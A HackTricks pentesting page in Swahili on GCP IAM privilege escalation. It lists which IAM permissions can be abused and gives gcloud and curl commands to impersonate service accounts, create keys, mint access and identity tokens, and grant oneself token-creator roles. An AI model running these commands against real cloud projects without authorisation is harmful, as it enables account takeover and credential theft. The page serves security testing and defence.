GCP - IAM Privesc

Support HackTricks

IAM

Pata maelezo zaidi kuhusu IAM katika:

GCP - IAM, Principals & Org Policies Enum

iam.roles.update (iam.roles.get)

Mshambulizi mwenye ruhusa zilizotajwa ataweza kusasisha jukumu lililokabidhiwa kwako na kukupa ruhusa za ziada kwa rasilimali zingine kama:

gcloud iam roles update <rol name> --project <project> --add-permissions <permission>

Unaweza kupata script ya kuunda, kutumia na kusafisha mazingira ya vuln hapa na script ya python ya kutumia haki hii hapa. Kwa maelezo zaidi angalia utafiti wa awali.

iam.serviceAccounts.getAccessToken (iam.serviceAccounts.get)

Mshambulizi mwenye ruhusa zilizotajwa ataweza kuomba tokeni ya ufikiaji inayohusiana na Akaunti ya Huduma, hivyo inawezekana kuomba tokeni ya ufikiaji ya Akaunti ya Huduma yenye ruhusa zaidi kuliko zetu.

gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token

Unaweza kupata script ya kuunda, kutumia na kusafisha mazingira ya hatari hapa na script ya python ya kutumia ruhusa hii hapa. Kwa maelezo zaidi angalia utafiti wa awali.

iam.serviceAccountKeys.create

Mshambuliaji mwenye ruhusa zilizotajwa ataweza kuunda ufunguo unaosimamiwa na mtumiaji kwa ajili ya Service Account, ambayo itaturuhusu kufikia GCP kama hiyo Service Account.

gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json

gcloud auth activate-service-account --key-file=sa_cred.json

Unaweza kupata script ya kuunda, kutumia na kusafisha mazingira ya vuln hapa na script ya python ya kutumia ruhusa hii hapa. Kwa maelezo zaidi angalia utafiti wa awali.

Kumbuka kwamba **iam.serviceAccountKeys.update haitafanya kazi kubadilisha ufunguo** wa SA kwa sababu ili kufanya hivyo ruhusa iam.serviceAccountKeys.create` pia inahitajika.

iam.serviceAccounts.implicitDelegation

Kama una ruhusa ya iam.serviceAccounts.implicitDelegation kwenye Service Account ambayo ina ruhusa ya iam.serviceAccounts.getAccessToken kwenye Service Account ya tatu, basi unaweza kutumia implicitDelegation kuunda token kwa hiyo Service Account ya tatu. Hapa kuna mchoro kusaidia kuelezea.

Kumbuka kwamba kulingana na hati, ugawaji wa gcloud unafanya kazi tu kuunda token kwa kutumia generateAccessToken() method. Hivyo hapa una jinsi ya kupata token kwa kutumia API moja kwa moja:

curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'

Unaweza kupata script ya kuunda, kutumia na kusafisha mazingira ya vuln hapa na script ya python ya kutumia haki hii hapa. Kwa maelezo zaidi angalia utafiti wa awali.

iam.serviceAccounts.signBlob

Mshambulizi mwenye ruhusa zilizotajwa ataweza kusaini payloads za kiholela katika GCP. Hivyo itawezekana kuunda JWT isiyosainiwa ya SA na kisha kuituma kama blob ili kupata JWT iliyosainiwa na SA tunayolenga. Kwa maelezo zaidi soma hii.

Unaweza kupata script ya kuunda, kutumia na kusafisha mazingira ya vuln hapa na script ya python ya kutumia haki hii hapa na hapa. Kwa maelezo zaidi angalia utafiti wa awali.

iam.serviceAccounts.signJwt

Mshambulizi mwenye ruhusa zilizotajwa ataweza kusaini JSON web tokens (JWTs) zilizotengenezwa vizuri. Tofauti na njia ya awali ni kwamba badala ya kufanya google isaini blob inayojumuisha JWT, tunatumia njia ya signJWT ambayo tayari inatarajia JWT. Hii inafanya iwe rahisi kutumia lakini unaweza tu kusaini JWT badala ya bytes zozote.

Unaweza kupata script ya kuunda, kutumia na kusafisha mazingira ya vuln hapa na script ya python ya kutumia haki hii hapa. Kwa maelezo zaidi angalia utafiti wa awali.

iam.serviceAccounts.setIamPolicy

Mshambulizi mwenye ruhusa zilizotajwa ataweza kuongeza sera za IAM kwa service accounts. Unaweza kuitumia kujipa ruhusa unazohitaji kuiga service account. Katika mfano ufuatao tunajipa roles/iam.serviceAccountTokenCreator juu ya SA ya kuvutia:

gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"

# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"

Unaweza kupata script ya kuunda, kutumia na kusafisha mazingira ya udhaifu hapa.

iam.serviceAccounts.actAs

Ruhusa ya iam.serviceAccounts.actAs ni kama ruhusa ya iam:PassRole kutoka AWS. Ni muhimu kwa kutekeleza majukumu, kama kuanzisha Compute Engine instance, kwani inatoa uwezo wa "actAs" Service Account, kuhakikisha usimamizi salama wa ruhusa. Bila hii, watumiaji wanaweza kupata ufikiaji usiofaa. Zaidi ya hayo, kutumia iam.serviceAccounts.actAs kunahusisha mbinu mbalimbali, kila moja ikihitaji seti ya ruhusa, tofauti na mbinu nyingine zinazohitaji ruhusa moja tu.

Kujifanya akaunti ya huduma

Kujifanya akaunti ya huduma kunaweza kuwa muhimu sana kupata ruhusa mpya na bora. Kuna njia tatu ambazo unaweza kujifanya akaunti nyingine ya huduma:

  • Uthibitishaji kwa kutumia funguo za kibinafsi za RSA (imeelezwa hapo juu)

  • Uidhinishaji kwa kutumia sera za Cloud IAM (imeelezwa hapa)

  • Kutekeleza kazi kwenye huduma za GCP (inayofaa zaidi kwa kuathiri akaunti ya mtumiaji)

iam.serviceAccounts.getOpenIdToken

Mshambulizi mwenye ruhusa zilizotajwa ataweza kuzalisha OpenID JWT. Hizi hutumika kuthibitisha utambulisho na hazibebi uidhinishaji wowote wa moja kwa moja dhidi ya rasilimali.

Kulingana na chapisho hili la kuvutia, ni muhimu kuonyesha hadhira (huduma unayotaka kutumia tokeni kuthibitisha) na utapokea JWT iliyosainiwa na google ikionyesha akaunti ya huduma na hadhira ya JWT.

Unaweza kuzalisha OpenIDToken (ikiwa una ufikiaji) na:

# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com

Kisha unaweza kuitumia kufikia huduma na:

curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app

Baadhi ya huduma zinazounga mkono uthibitishaji kupitia aina hii ya tokeni ni:

Unaweza kupata mfano wa jinsi ya kuunda na OpenID token kwa niaba ya akaunti ya huduma hapa.

Marejeleo

Support HackTricks

Last updated